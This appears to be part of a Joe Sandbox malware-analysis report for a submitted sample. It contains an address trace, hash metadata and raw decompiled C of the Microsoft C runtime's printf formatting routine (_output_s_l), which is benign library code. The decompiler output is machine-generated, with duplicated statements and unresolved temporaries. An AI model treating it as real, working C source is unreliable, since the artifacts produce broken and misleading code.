0x00427a1d
0x00427a23
0x00427a29
0x00427a35
0x00427a3b
0x00427a3b
0x00427a41
0x00427aa8
0x00427aa8
0x00427aac
0x00427aae
0x00427ab4
0x00427ab4
0x00427ab7
0x00427aba
0x00427ac0
0x00427ac0
0x00427ac0
0x00427acc
0x00427acf
0x00427ad5
0x00427ad7
0x00000000
0x00000000
0x00427ad9
0x00427ad9
0x00427adf
0x00427ae2
0x00427ae4
0x00000000
0x00000000
0x00427ae6
0x00427aec
0x00427aef
0x00427aef
0x00427af7
0x00427af7
0x00427afd
0x00427afd
0x00427b00
0x00000000
0x00427a43
0x00427a43
0x00427a43
0x00427a47
0x00427a49
0x00427a4e
0x00427a4e
0x00427a51
0x00427a58
0x00427a5b
0x00427a61
0x00427a61
0x00427a61
0x00427a6d
0x00427a70
0x00427a76
0x00427a78
0x00000000
0x00000000
0x00427a7a
0x00427a7a
0x00427a80
0x00427a83
0x00427a85
0x00000000
0x00000000
0x00427a87
0x00427a8d
0x00427a90
0x00427a90
0x00427a98
0x00427a9e
0x00427aa1
0x00427aa3
0x00427b03
0x004280b3
0x004280b3
0x004280b3
0x004280b7
0x00000000
0x00000000
0x00000000
0x004280b7
0x004280b3
0x00000000
0x00427dbc
0x00427dbc
0x00427e2b
0x00427e2b
0x00427e2e
0x00427e33
0x00427e55
0x00427e55
0x00427e5b
0x00427e7d
0x00427e80
0x00427ec7
0x00427ec7
0x00427eca
0x00427eeb
0x00427ef0
0x00427ef3
0x00427ef5
0x00427efb
0x00427ecc
0x00427ed0
0x00427ed5
0x00427ed8
0x00427ed9
0x00427edf
0x00427edf
0x00427e82
0x00427e85
0x00427e85
0x00427e88
0x00427eaa
0x00427eaf
0x00427eb5
0x00427eb6
0x00427ebc
0x00427e8a
0x00427e8e
0x00427e93
0x00427e97
0x00427e98
0x00427e9e
0x00427e9e
0x00427ec2
0x00427e5d
0x00427e61
0x00427e66
0x00427e69
0x00427e6f
0x00427e6f
0x00427e35
0x00427e39
0x00427e3e
0x00427e41
0x00427e47
0x00427e47
0x00427f04
0x00427f07
0x00000000
0x00000000
0x00000000
0x00427f07
0x00000000
0x00427dd8
0x00427dd8
0x00427de2
0x00427de2
0x00427dec
0x00427dec
0x00427df2
0x00427df4
0x00427dfe
0x00427dfe
0x00427e01
0x00427e04
0x00427e04
0x00427e2b
0x00427e2b
0x00427e2e
0x00427e33
0x00427e55
0x00427e55
0x00427e5b
0x00427e7d
0x00427e80
0x00427ec7
0x00427ec7
0x00427eca
0x00427eeb
0x00427ef0
0x00427ef3
0x00427ef5
0x00427efb
0x00427ecc
0x00427ed0
0x00427ed5
0x00427ed8
0x00427ed9
0x00427edf
0x00427edf
0x00427e82
0x00427e85
0x00427e85
0x00427e88
0x00427eaa
0x00427eaf
0x00427eb5
0x00427eb6
0x00427ebc
0x00427e8a
0x00427e8e
0x00427e93
0x00427e97
0x00427e98
0x00427e9e
0x00427e9e
0x00427ec2
0x00427e5d
0x00427e61
0x00427e66
0x00427e69
0x00427e6f
0x00427e6f
0x00427e35
0x00427e39
0x00427e3e
0x00427e41
0x00427e47
0x00427e47
0x00427f04
0x00427f07
0x00000000
0x00000000
0x00000000
0x00427f07
0x00000000
0x004280b3
0x004280b3
0x004280b3
0x004280b7
0x00000000
0x00000000
0x00000000
0x004280b7
0x00000000
0x00000000
0x00427672
0x00427675
0x00427678
0x00000000
0x00000000
0x0042767d
0x00427680
0x00427685
0x00000000
0x00000000
0x00427667
0x00427667
0x0042766a
0x0042766d
0x00000000
0x00000000
0x0042765c
0x0042765f
0x00427662
0x00000000
0x00000000
0x0042768a
0x0042768a
0x0042768d
0x0042768d
0x00427690
0x00000000
0x00000000
0x00427693
0x00000000
0x00000000
0x004274ed
0x004282be
0x004282c4
0x004282cd
0x004282d2
0x00000000
0x004282d2
0x004280b3
0x0042808a
0x0042808a
0x0042808e
0x0042809b
0x004280a1
0x004280a7
0x004280ad
0x004280ad
0x004280b0
0x00000000
0x004280b0
0x00428090
0x00428096
0x00428099
0x00000000
0x00000000
0x00000000
0x00428099
0x00427ff2
0x00427ff5
0x00427fff
0x0042800e
0x00428017
0x0042802d
0x00428033
0x00428039
0x00428040
0x00428048
0x00428048
0x0042804e
0x0042804e
0x0042805d
0x00428065
0x00427fd4
0x00427fda
0x00427fdd
0x00427fe0
0x00427fe2
0x00000000
0x00000000
0x00000000
0x00427fe2
0x00427fd4
0x00427f14
0x00427f14
0x00427f1b
0x00000000
0x00000000
0x00000000
0x00427f49
0x00427f4f
0x00427f5b
0x00000000
0x00427f5b
0x00427e2b

APIs

_get_int64_arg.LIBCMTD ref: 00427E39
__aullrem.LIBCMT ref: 00428006
__aulldiv.LIBCMT ref: 00428028

Strings

9, xrefs: 00428039

Memory Dump Source

Source File: 00000000.00000002.276994985.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276991313.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.277020013.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277028554.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277031435.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 16cc12f056c7e8e5a16d88d8436e1501bcfe4573fab86ef5ecc59b388832d3e0
Instruction ID: d1242d8320beece38adb58ba66c729278230caef1156ebb5861736bf685782fc
Opcode Fuzzy Hash: 16cc12f056c7e8e5a16d88d8436e1501bcfe4573fab86ef5ecc59b388832d3e0
Instruction Fuzzy Hash: E1410471E08229DFDB64DF48D989BAEB7B5BF84304F5085DAE449A7241CB389E80CF44

Uniqueness

Uniqueness Score: -1.00%

Function 0043502B, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E0043502B(intOrPtr __ebx, signed int __edx, intOrPtr __edi, intOrPtr __esi) {
				signed int _t496;
				signed int _t518;
				void* _t523;
				signed int _t525;
				void* _t545;
				signed int _t563;
				signed int _t580;
				signed short _t581;
				signed int _t584;
				signed int _t587;
				signed int _t588;
				intOrPtr _t589;
				signed int _t609;
				signed int _t645;
				signed int _t647;
				signed int _t649;
				signed int _t656;
				signed int _t696;
				intOrPtr _t697;
				intOrPtr _t698;
				signed int _t699;
				void* _t701;
				void* _t702;
				signed int _t710;

				L0:
				while(1) {
					L0:
					_t698 = __esi;
					_t697 = __edi;
					_t645 = __edx;
					_t589 = __ebx;
					 *(_t699 - 8) = 0xa;
					L153:
					while(1) {
						L153:
						while(1) {
							L153:
							while(1) {
								L153:
								if(( *(_t699 - 0x10) & 0x00008000) == 0) {
									_t647 =  *(_t699 - 0x10) & 0x00001000;
									if(_t647 == 0) {
										if(( *(_t699 - 0x10) & 0x00000020) == 0) {
											_t649 =  *(_t699 - 0x10) & 0x00000040;
											if(_t649 == 0) {
												_t496 = E004283F0(_t699 + 0x14);
												_t702 = _t701 + 4;
												 *(_t699 - 0x2b8) = _t496;
												 *(_t699 - 0x2b4) = 0;
											} else {
												_t580 = E004283F0(_t699 + 0x14);
												_t702 = _t701 + 4;
												asm("cdq");
												 *(_t699 - 0x2b8) = _t580;
												 *(_t699 - 0x2b4) = _t649;
											}
										} else {
											_t696 =  *(_t699 - 0x10) & 0x00000040;
											if(_t696 == 0) {
												_t581 = E004283F0(_t699 + 0x14);
												_t702 = _t701 + 4;
												asm("cdq");
												 *(_t699 - 0x2b8) = _t581 & 0x0000ffff;
												 *(_t699 - 0x2b4) = _t696;
											} else {
												_t584 = E004283F0(_t699 + 0x14);
												_t702 = _t701 + 4;
												asm("cdq");
												 *(_t699 - 0x2b8) = _t584;
												 *(_t699 - 0x2b4) = _t696;
											}
										}
									} else {
										_t587 = E00428410(_t699 + 0x14);
										_t702 = _t701 + 4;
										 *(_t699 - 0x2b8) = _t587;
										 *(_t699 - 0x2b4) = _t647;
									}
								} else {
									_t588 = E00428410(_t699 + 0x14);
									_t702 = _t701 + 4;
									 *(_t699 - 0x2b8) = _t588;
									 *(_t699 - 0x2b4) = _t645;
								}
								if(( *(_t699 - 0x10) & 0x00000040) == 0) {
									L170:
									 *(_t699 - 0x2c0) =  *(_t699 - 0x2b8);
									 *(_t699 - 0x2bc) =  *(_t699 - 0x2b4);
									goto L171;
								} else {
									L166:
									_t710 =  *(_t699 - 0x2b4);
									if(_t710 > 0 || _t710 >= 0 &&  *(_t699 - 0x2b8) >= 0) {
										goto L170;
									} else {
										L169:
										asm("adc edx, 0x0");
										 *(_t699 - 0x2c0) =  ~( *(_t699 - 0x2b8));
										 *(_t699 - 0x2bc) =  ~( *(_t699 - 0x2b4));
										 *(_t699 - 0x10) =  *(_t699 - 0x10) | 0x00000100;
										L171:
										if(( *(_t699 - 0x10) & 0x00008000) == 0 && ( *(_t699 - 0x10) & 0x00001000) == 0) {
											 *(_t699 - 0x2bc) =  *(_t699 - 0x2bc) & 0x00000000;
										}
										if( *(_t699 - 0x30) >= 0) {
											 *(_t699 - 0x10) =  *(_t699 - 0x10) & 0xfffffff7;
											if( *(_t699 - 0x30) > 0x200) {
												 *(_t699 - 0x30) = 0x200;
											}
										} else {
											 *(_t699 - 0x30) = 1;
										}
										if(( *(_t699 - 0x2c0) |  *(_t699 - 0x2bc)) == 0) {
											 *(_t699 - 0x1c) = 0;
										}
										 *((intOrPtr*)(_t699 - 4)) = _t699 - 0x49;
										while(1) {
											L181:
											_t655 =  *(_t699 - 0x30) - 1;
											 *(_t699 - 0x30) =  *(_t699 - 0x30) - 1;
											if( *(_t699 - 0x30) <= 0 && ( *(_t699 - 0x2c0) |  *(_t699 - 0x2bc)) == 0) {
												break;
											}
											L183:
											asm("cdq");
											_t656 =  *(_t699 - 0x2c0);
											 *((intOrPtr*)(_t699 - 0x2ac)) = E00430820(_t656,  *(_t699 - 0x2bc),  *(_t699 - 8), _t655) + 0x30;
											asm("cdq");
											 *(_t699 - 0x2c0) = E004308A0( *(_t699 - 0x2c0),  *(_t699 - 0x2bc),  *(_t699 - 8), _t656);
											 *(_t699 - 0x2bc) = _t656;
											if( *((intOrPtr*)(_t699 - 0x2ac)) > 0x39) {
												 *((intOrPtr*)(_t699 - 0x2ac)) =  *((intOrPtr*)(_t699 - 0x2ac)) +  *((intOrPtr*)(_t699 - 0x260));
											}
											 *((char*)( *((intOrPtr*)(_t699 - 4)))) =  *((intOrPtr*)(_t699 - 0x2ac));
											 *((intOrPtr*)(_t699 - 4)) =  *((intOrPtr*)(_t699 - 4)) - 1;
										}
										L186:
										 *((intOrPtr*)(_t699 - 0x24)) = _t699 - 0x49 -  *((intOrPtr*)(_t699 - 4));
										 *((intOrPtr*)(_t699 - 4)) =  *((intOrPtr*)(_t699 - 4)) + 1;
										if(( *(_t699 - 0x10) & 0x00000200) != 0 && ( *((intOrPtr*)(_t699 - 0x24)) == 0 ||  *((char*)( *((intOrPtr*)(_t699 - 4)))) != 0x30)) {
											 *((intOrPtr*)(_t699 - 4)) =  *((intOrPtr*)(_t699 - 4)) - 1;
											 *((char*)( *((intOrPtr*)(_t699 - 4)))) = 0x30;
											 *((intOrPtr*)(_t699 - 0x24)) =  *((intOrPtr*)(_t699 - 0x24)) + 1;
										}
										L190:
										while(1) {
											L190:
											while(1) {
												L190:
												while(1) {
													L190:
													while(1) {
														L190:
														while(1) {
															L190:
															while(1) {
																L190:
																while(1) {
																	do {
																		L190:
																		if( *((intOrPtr*)(_t699 - 0x28)) != 0) {
																			L216:
																			if( *(_t699 - 0x20) != 0) {
																				L0041C5D0( *(_t699 - 0x20), 2);
																				_t702 = _t702 + 8;
																				 *(_t699 - 0x20) = 0;
																			}
																			while(1) {
																				L218:
																				 *(_t699 - 0x251) =  *( *(_t699 + 0xc));
																				_t663 =  *(_t699 - 0x251);
																				 *(_t699 + 0xc) =  *(_t699 + 0xc) + 1;
																				if( *(_t699 - 0x251) == 0 ||  *(_t699 - 0x24c) < 0) {
																					break;
																				} else {
																					if( *(_t699 - 0x251) < 0x20 ||  *(_t699 - 0x251) > 0x78) {
																						 *(_t699 - 0x310) = 0;
																					} else {
																						 *(_t699 - 0x310) =  *( *(_t699 - 0x251) +  &M00407E18) & 0xf;
																					}
																				}
																				L7:
																				 *(_t699 - 0x250) =  *(_t699 - 0x310);
																				_t525 =  *(_t699 - 0x250) * 9;
																				_t609 =  *(_t699 - 0x25c);
																				_t663 = ( *(_t525 + _t609 + 0x407e38) & 0x000000ff) >> 4;
																				 *(_t699 - 0x25c) = ( *(_t525 + _t609 + 0x407e38) & 0x000000ff) >> 4;
																				if( *(_t699 - 0x25c) != 8) {
																					L16:
																					 *(_t699 - 0x318) =  *(_t699 - 0x25c);
																					if( *(_t699 - 0x318) > 7) {
																						continue;
																					}
																					L17:
																					switch( *((intOrPtr*)( *(_t699 - 0x318) * 4 +  &M00435600))) {
																						case 0:
																							L18:
																							 *(_t699 - 0xc) = 0;
																							_t528 = E004312B0( *(_t699 - 0x251) & 0x000000ff, E0041AEE0(_t699 - 0x40));
																							_t705 = _t702 + 8;
																							if(_t528 == 0) {
																								L24:
																								E00435710( *(_t699 - 0x251) & 0x000000ff,  *(_t699 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t699 + 8)), _t699 - 0x24c);
																								_t702 = _t705 + 0xc;
																								goto L218;
																							} else {
																								E00435710( *((intOrPtr*)(_t699 + 8)),  *(_t699 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t699 + 8)), _t699 - 0x24c);
																								_t705 = _t705 + 0xc;
																								_t614 =  *( *(_t699 + 0xc));
																								 *(_t699 - 0x251) =  *( *(_t699 + 0xc));
																								_t663 =  *(_t699 + 0xc) + 1;
																								 *(_t699 + 0xc) = _t663;
																								asm("sbb eax, eax");
																								 *(_t699 - 0x27c) =  ~( ~( *(_t699 - 0x251)));
																								if(_t663 == 0) {
																									_push(L"(ch != _T(\'\\0\'))");
																									_push(0);
																									_push(0x486);
																									_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																									_push(2);
																									_t540 = L0041E410();
																									_t705 = _t705 + 0x14;
																									if(_t540 == 1) {
																										asm("int3");
																									}
																								}
																								L22:
																								if( *(_t699 - 0x27c) != 0) {
																									goto L24;
																								} else {
																									 *((intOrPtr*)(L00422F00(_t614))) = 0x16;
																									E00422C90(_t589, _t614, _t697, _t698, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																									 *(_t699 - 0x2f4) = 0xffffffff;
																									E0041AEB0(_t699 - 0x40);
																									_t518 =  *(_t699 - 0x2f4);
																									goto L229;
																								}
																							}
																						case 1:
																							L25:
																							 *(__ebp - 0x2c) = 0;
																							__edx =  *(__ebp - 0x2c);
																							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
																							__eax =  *(__ebp - 0x28);
																							 *(__ebp - 0x18) =  *(__ebp - 0x28);
																							__ecx =  *(__ebp - 0x18);
																							 *(__ebp - 0x1c) = __ecx;
																							 *(__ebp - 0x10) = 0;
																							 *(__ebp - 0x30) = 0xffffffff;
																							 *(__ebp - 0xc) = 0;
																							goto L218;
																						case 2:
																							L26:
																							__edx =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																							 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																							if( *(__ebp - 0x31c) > 0x10) {
																								goto L33;
																							}
																							L27:
																							__ecx =  *(__ebp - 0x31c);
																							_t72 = __ecx + 0x435638; // 0x498d04
																							__edx =  *_t72 & 0x000000ff;
																							switch( *((intOrPtr*)(( *_t72 & 0x000000ff) * 4 +  &M00435620))) {
																								case 0:
																									goto L30;
																								case 1:
																									goto L31;
																								case 2:
																									goto L29;
																								case 3:
																									goto L28;
																								case 4:
																									goto L32;
																								case 5:
																									goto L33;
																							}
																						case 3:
																							L34:
																							__edx =  *((char*)(__ebp - 0x251));
																							if( *((char*)(__ebp - 0x251)) != 0x2a) {
																								__eax =  *(__ebp - 0x18);
																								__eax =  *(__ebp - 0x18) * 0xa;
																								__ecx =  *((char*)(__ebp - 0x251));
																								_t96 = __ecx - 0x30; // -48
																								__edx = __eax + _t96;
																								 *(__ebp - 0x18) = __eax + _t96;
																							} else {
																								__eax = __ebp + 0x14;
																								 *(__ebp - 0x18) = E004283F0(__ebp + 0x14);
																								if( *(__ebp - 0x18) < 0) {
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00000004;
																									 *(__ebp - 0x10) = __ecx;
																									 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																									 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																								}
																							}
																							goto L218;
																						case 4:
																							L40:
																							 *(__ebp - 0x30) = 0;
																							goto L218;
																						case 5:
																							L41:
																							__eax =  *((char*)(__ebp - 0x251));
																							if( *((char*)(__ebp - 0x251)) != 0x2a) {
																								 *(__ebp - 0x30) =  *(__ebp - 0x30) * 0xa;
																								_t107 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																								__ecx =  *(__ebp - 0x30) * 0xa + _t107;
																								 *(__ebp - 0x30) = __ecx;
																							} else {
																								__ecx = __ebp + 0x14;
																								 *(__ebp - 0x30) = E004283F0(__ebp + 0x14);
																								if( *(__ebp - 0x30) < 0) {
																									 *(__ebp - 0x30) = 0xffffffff;
																								}
																							}
																							goto L218;
																						case 6:
																							L47:
																							__edx =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																							 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																							if( *(__ebp - 0x320) > 0x2e) {
																								L70:
																								goto L218;
																							}
																							L48:
																							__ecx =  *(__ebp - 0x320);
																							_t115 = __ecx + 0x435660; // 0x4e6e9003
																							__edx =  *_t115 & 0x000000ff;
																							switch( *((intOrPtr*)(( *_t115 & 0x000000ff) * 4 +  &M0043564C))) {
																								case 0:
																									L53:
																									__edx =  *(__ebp + 0xc);
																									__eax =  *( *(__ebp + 0xc));
																									if( *( *(__ebp + 0xc)) != 0x36) {
																										L56:
																										__edx =  *(__ebp + 0xc);
																										__eax =  *( *(__ebp + 0xc));
																										if( *( *(__ebp + 0xc)) != 0x33) {
																											L59:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc));
																											if( *( *(__ebp + 0xc)) == 0x64) {
																												L65:
																												L67:
																												goto L70;
																											}
																											L60:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx;
																											if( *__ecx == 0x69) {
																												goto L65;
																											}
																											L61:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc));
																											if(__ecx == 0x6f) {
																												goto L65;
																											}
																											L62:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc));
																											if( *( *(__ebp + 0xc)) == 0x75) {
																												goto L65;
																											}
																											L63:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx;
																											if( *__ecx == 0x78) {
																												goto L65;
																											}
																											L64:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc));
																											if(__ecx != 0x58) {
																												L66:
																												 *(__ebp - 0x25c) = 0;
																												goto L18;
																											}
																											goto L65;
																										}
																										L57:
																										__ecx =  *(__ebp + 0xc);
																										__edx =  *((char*)(__ecx + 1));
																										if( *((char*)(__ecx + 1)) != 0x32) {
																											goto L59;
																										}
																										L58:
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																										__ecx =  *(__ebp - 0x10);
																										__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																										 *(__ebp - 0x10) = __ecx;
																										goto L67;
																									}
																									L54:
																									__ecx =  *(__ebp + 0xc);
																									__edx =  *((char*)(__ecx + 1));
																									if( *((char*)(__ecx + 1)) != 0x34) {
																										goto L56;
																									}
																									L55:
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00008000;
																									 *(__ebp - 0x10) = __ecx;
																									goto L67;
																								case 1:
																									L68:
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																									goto L70;
																								case 2:
																									L49:
																									__eax =  *(__ebp + 0xc);
																									__ecx =  *( *(__ebp + 0xc));
																									if(__ecx != 0x6c) {
																										__ecx =  *(__ebp - 0x10);
																										__ecx =  *(__ebp - 0x10) | 0x00000010;
																										 *(__ebp - 0x10) = __ecx;
																									} else {
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																									}
																									goto L70;
																								case 3:
																									L69:
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									goto L70;
																								case 4:
																									goto L70;
																							}
																						case 7:
																							goto L71;
																						case 8:
																							L30:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																							goto L33;
																						case 9:
																							L31:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							goto L33;
																						case 0xa:
																							L29:
																							__ecx =  *(__ebp - 0x10);
																							__ecx =  *(__ebp - 0x10) | 0x00000001;
																							 *(__ebp - 0x10) = __ecx;
																							goto L33;
																						case 0xb:
																							L28:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							goto L33;
																						case 0xc:
																							L32:
																							__ecx =  *(__ebp - 0x10);
																							__ecx =  *(__ebp - 0x10) | 0x00000008;
																							 *(__ebp - 0x10) = __ecx;
																							goto L33;
																						case 0xd:
																							L33:
																							goto L218;
																					}
																				} else {
																					if(0 == 0) {
																						 *(_t699 - 0x314) = 0;
																					} else {
																						 *(_t699 - 0x314) = 1;
																					}
																					_t616 =  *(_t699 - 0x314);
																					 *(_t699 - 0x278) =  *(_t699 - 0x314);
																					if( *(_t699 - 0x278) == 0) {
																						_push(L"(\"Incorrect format specifier\", 0)");
																						_push(0);
																						_push(0x460);
																						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																						_push(2);
																						_t545 = L0041E410();
																						_t702 = _t702 + 0x14;
																						if(_t545 == 1) {
																							asm("int3");
																						}
																					}
																					L14:
																					if( *(_t699 - 0x278) != 0) {
																						goto L16;
																					} else {
																						 *((intOrPtr*)(L00422F00(_t616))) = 0x16;
																						E00422C90(_t589, _t616, _t697, _t698, L"(\"Incorrect format specifier\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
																						 *(_t699 - 0x2f0) = 0xffffffff;
																						E0041AEB0(_t699 - 0x40);
																						_t518 =  *(_t699 - 0x2f0);
																						L229:
																						return E0042BD50(_t518, _t589,  *(_t699 - 0x48) ^ _t699, _t663, _t697, _t698);
																					}
																				}
																			}
																			L219:
																			if( *(_t699 - 0x25c) == 0 ||  *(_t699 - 0x25c) == 7) {
																				 *(_t699 - 0x334) = 1;
																			} else {
																				 *(_t699 - 0x334) = 0;
																			}
																			_t603 =  *(_t699 - 0x334);
																			 *(_t699 - 0x2e0) =  *(_t699 - 0x334);
																			if( *(_t699 - 0x2e0) == 0) {
																				_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
																				_push(0);
																				_push(0x8f5);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				_t523 = L0041E410();
																				_t702 = _t702 + 0x14;
																				if(_t523 == 1) {
																					asm("int3");
																				}
																			}
																			if( *(_t699 - 0x2e0) != 0) {
																				 *(_t699 - 0x300) =  *(_t699 - 0x24c);
																				E0041AEB0(_t699 - 0x40);
																				_t518 =  *(_t699 - 0x300);
																			} else {
																				 *((intOrPtr*)(L00422F00(_t603))) = 0x16;
																				E00422C90(_t589, _t603, _t697, _t698, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
																				 *(_t699 - 0x2fc) = 0xffffffff;
																				E0041AEB0(_t699 - 0x40);
																				_t518 =  *(_t699 - 0x2fc);
																			}
																			goto L229;
																		}
																		L191:
																		if(( *(_t699 - 0x10) & 0x00000040) != 0) {
																			if(( *(_t699 - 0x10) & 0x00000100) == 0) {
																				if(( *(_t699 - 0x10) & 0x00000001) == 0) {
																					if(( *(_t699 - 0x10) & 0x00000002) != 0) {
																						 *((char*)(_t699 - 0x14)) = 0x20;
																						 *(_t699 - 0x1c) = 1;
																					}
																				} else {
																					 *((char*)(_t699 - 0x14)) = 0x2b;
																					 *(_t699 - 0x1c) = 1;
																				}
																			} else {
																				 *((char*)(_t699 - 0x14)) = 0x2d;
																				 *(_t699 - 0x1c) = 1;
																			}
																		}
																		 *((intOrPtr*)(_t699 - 0x2c4)) =  *((intOrPtr*)(_t699 - 0x18)) -  *((intOrPtr*)(_t699 - 0x24)) -  *(_t699 - 0x1c);
																		if(( *(_t699 - 0x10) & 0x0000000c) == 0) {
																			E004357B0(0x20,  *((intOrPtr*)(_t699 - 0x2c4)),  *((intOrPtr*)(_t699 + 8)), _t699 - 0x24c);
																			_t702 = _t702 + 0x10;
																		}
																		E004357F0( *(_t699 - 0x1c), _t699 - 0x14,  *(_t699 - 0x1c),  *((intOrPtr*)(_t699 + 8)), _t699 - 0x24c);
																		_t702 = _t702 + 0x10;
																		if(( *(_t699 - 0x10) & 0x00000008) != 0 && ( *(_t699 - 0x10) & 0x00000004) == 0) {
																			E004357B0(0x30,  *((intOrPtr*)(_t699 - 0x2c4)),  *((intOrPtr*)(_t699 + 8)), _t699 - 0x24c);
																			_t702 = _t702 + 0x10;
																		}
																		if( *(_t699 - 0xc) == 0 ||  *((intOrPtr*)(_t699 - 0x24)) <= 0) {
																			L212:
																			E004357F0( *((intOrPtr*)(_t699 - 4)),  *((intOrPtr*)(_t699 - 4)),  *((intOrPtr*)(_t699 - 0x24)),  *((intOrPtr*)(_t699 + 8)), _t699 - 0x24c);
																			_t702 = _t702 + 0x10;
																			goto L213;
																		} else {
																			L205:
																			 *(_t699 - 0x2dc) = 0;
																			 *((intOrPtr*)(_t699 - 0x2c8)) =  *((intOrPtr*)(_t699 - 4));
																			 *((intOrPtr*)(_t699 - 0x2cc)) =  *((intOrPtr*)(_t699 - 0x24));
																			while(1) {
																				L206:
																				 *((intOrPtr*)(_t699 - 0x2cc)) =  *((intOrPtr*)(_t699 - 0x2cc)) - 1;
																				if( *((intOrPtr*)(_t699 - 0x2cc)) == 0) {
																					break;
																				}
																				L207:
																				 *(_t699 - 0x32e) =  *((intOrPtr*)( *((intOrPtr*)(_t699 - 0x2c8))));
																				_t563 = E004342C0(_t699 - 0x2d0, _t699 - 0x2d8, 6,  *(_t699 - 0x32e) & 0x0000ffff);
																				_t702 = _t702 + 0x10;
																				 *(_t699 - 0x2dc) = _t563;
																				 *((intOrPtr*)(_t699 - 0x2c8)) =  *((intOrPtr*)(_t699 - 0x2c8)) + 2;
																				if( *(_t699 - 0x2dc) != 0 ||  *((intOrPtr*)(_t699 - 0x2d0)) == 0) {
																					L209:
																					 *(_t699 - 0x24c) = 0xffffffff;
																					break;
																				} else {
																					L210:
																					E004357F0( *((intOrPtr*)(_t699 + 8)), _t699 - 0x2d8,  *((intOrPtr*)(_t699 - 0x2d0)),  *((intOrPtr*)(_t699 + 8)), _t699 - 0x24c);
																					_t702 = _t702 + 0x10;
																					continue;
																				}
																			}
																			L211:
																			L213:
																			if( *(_t699 - 0x24c) >= 0 && ( *(_t699 - 0x10) & 0x00000004) != 0) {
																				E004357B0(0x20,  *((intOrPtr*)(_t699 - 0x2c4)),  *((intOrPtr*)(_t699 + 8)), _t699 - 0x24c);
																				_t702 = _t702 + 0x10;
																			}
																			goto L216;
																		}
																		L71:
																		__ecx =  *((char*)(__ebp - 0x251));
																		 *(__ebp - 0x324) = __ecx;
																		__edx =  *(__ebp - 0x324);
																		__edx =  *(__ebp - 0x324) - 0x41;
																		 *(__ebp - 0x324) = __edx;
																	} while ( *(__ebp - 0x324) > 0x37);
																	_t156 =  *(__ebp - 0x324) + 0x4356cc; // 0xcccccc0d
																	__ecx =  *_t156 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M00435690))) {
																		case 0:
																			L123:
																			 *(__ebp - 0x2c) = 1;
																			__ecx =  *((char*)(__ebp - 0x251));
																			__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																			 *((char*)(__ebp - 0x251)) = __cl;
																			goto L124;
																		case 1:
																			L73:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
